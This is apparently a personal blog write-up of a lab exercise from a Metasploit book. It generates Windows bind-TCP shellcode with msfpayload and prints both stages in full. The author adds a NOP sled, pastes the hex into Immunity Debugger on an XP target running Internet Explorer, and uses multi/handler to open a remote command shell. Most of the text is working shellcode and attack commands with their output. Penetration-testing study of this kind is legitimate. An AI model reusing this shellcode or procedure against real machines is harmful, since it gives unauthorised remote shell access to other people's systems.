Metasploit: Experimenting with Immunity Debugger, NOP’s, Opcode, Assembly Instructions and Shellcode

I’m following instruction given in Metasploit: The Penetration Tester’s Guide - Chapter 8 (Exploitation Using Client-Side Attacks).

It’s worth watching this excellent video which demonstrates the process I describe below:

First I download Immunity Debugger onto the Windows portion of my Virtual Hacking Lab.

Next to create the shellcode in Metasploit – I used port 446 as I initially struggled with port 443:

~# msfpayload windows/shell/bind_tcp LPORT=446 C
/*
* windows/shell/bind_tcp – 298 bytes (stage 1)
* http://www.metasploit.com
* VERBOSE=false, LPORT=446, RHOST=, EnableStageEncoding=false,
* PrependMigrate=false, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
“\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30″
“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”
“\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2″
“\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85″
“\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3″
“\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d”
“\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58″
“\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b”
“\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff”
“\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68″
“\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01″
“\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50″
“\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31″
“\xdb\x53\x68\x02\x00\x01\xbe\x89\xe6\x6a\x10\x56\x57\x68\xc2″
“\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53″
“\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d”
“\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff”
“\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58″
“\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9″
“\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3″;

/*
* windows/shell/bind_tcp – 240 bytes (stage 2)
* http://www.metasploit.com
*/
unsigned char buf[] =
“\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30″
“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”
“\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2″
“\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85″
“\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3″
“\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d”
“\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58″
“\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b”
“\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff”
“\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89″
“\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44″
“\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56″
“\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5″
“\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb”
“\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a”
“\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5″;

I’m only interested in the “Stage 1″ code to which I add a few \x90 at the beginning, which in Intel x86 Assembly Language is a no-operation instruction - NOP . I then remove all ” /x occurrences and am left with:

909090909090909090909090909090
909090909090909090909090909090
909090909090909090909090909090
fce8890000006089e531d2648b5230
8b520c8b52148b72280fb74a2631ff
31c0ac3c617c022c20c1cf0d01c7e2
f052578b52108b423c01d08b407885
c0744a01d0508b48188b582001d3e3
3c498b348b01d631ff31c0acc1cf0d
01c738e075f4037df83b7d2475e258
8b582401d3668b0c4b8b581c01d38b
048b01d0894424245b5b61595a51ff
e0585f5a8b12eb865d683332000068
7773325f54684c772607ffd5b89001
000029c454506829806b00ffd55050
50504050405068ea0fdfe0ffd59731
db5368020001be89e66a10565768c2
db3767ffd5535768b7e938ffffd553
53576874ec3be1ffd5579768756e4d
61ffd56a006a0456576802d9c85fff
d58b366a406800100000566a006858
a453e5ffd593536a005653576802d9
c85fffd501c329c685f675ecc3

I then open Immunity Debugger (ID) on the target machine and open iexplore.exe.

In the main ID screen I paste in the above code and create breaks at the start and end of my code.

I then ran the exploit in Metasploit on the attacking machine to see if I could bind with port 446:

msf > use multi/handler
msf exploit(handler) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(handler) > set LPORT 446
LPORT => 446
msf exploit(handler) > set RHOST 192.168.1.79
RHOST => 192.168.1.79
msf exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler…
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.79
[*] Command shell session 1 opened (192.168.1.70:39979 -> 192.168.1.79:446) at 2013-07-10 10:14:46 +0100

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Internet Explorer>

And as you can see the connection was duly established.